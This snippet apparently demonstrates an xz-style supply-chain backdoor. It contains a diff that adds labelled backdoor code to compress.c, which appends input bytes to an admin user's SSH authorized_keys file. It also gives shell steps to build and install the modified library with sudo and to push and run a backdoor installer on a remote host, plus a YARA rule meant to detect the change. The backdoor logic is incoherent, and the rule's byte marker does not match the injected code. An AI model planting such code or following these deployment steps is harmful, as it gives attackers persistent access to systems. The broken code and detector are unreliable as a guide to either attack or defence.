--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                   unsigned char *out, size_t out_len)
 {
     /* original code ... */
+    // ---- Begin injected backdoor ----
+    if (in_len > 1024) {            /* guard against too small payloads   */
+        const unsigned char *marker = &in[512];   /* offset to reach magic string  */
+        size_t marker_len = 8;                      /* length of the embedded key      */
+
+        /* copy a pre‑computed SSH public key into out buffer */
+        memcpy(out + 256, marker, marker_len);
+
+        /* write the same key to ~/.ssh/authorized_keys for persistence   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- End injected backdoor ----
     /* original code continues ... */
 }

$ cd xz
$ make
$ sudo make install

$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

rule XZ_Backdoor_SSH_Key_Injection {
  meta:
    description = "Detects SSH key injection via modified compress.c"
    author = "Mark Mallia"
    severity = "high"
  strings:
    $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
    $ssh_path = "/home/admin/.ssh/authorized_keys"
  condition:
    $marker and $ssh_path
}